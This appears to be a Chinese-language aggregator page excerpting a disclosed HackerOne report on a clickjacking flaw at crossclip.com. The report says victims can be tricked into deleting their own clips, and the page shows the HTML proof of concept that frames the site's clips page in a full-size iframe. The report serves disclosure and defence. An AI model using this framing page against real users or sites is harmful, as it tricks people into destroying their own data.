clickjacking on deleting user's clips [https://crossclip.com/clips]
该报告还没有中文解读。
原文摘录
摘自原文(575 字符中的一小部分)
Summary: An attacker can trick victim to delete his own clips on https://crossclip.com/clips. Steps To Reproduce: {F1403810} 1. Login 1. Create an HTML file with the following code.原文中的代码
<html lang="en-US"> <head> <meta charset="UTF-8"> <title>I-Frame</title> </head> <body> <center><h1>THIS PAGE IS VULNERABLE TO CLICKJACKING</h1> <iframe src="https://crossclip.com/clips" frameborder="0 px" height="1200px" width="1920px"></iframe> </center> </body> </html>
默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Logitech 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @ibrahimatix0x01 · 版权归作者与 Logitech 所有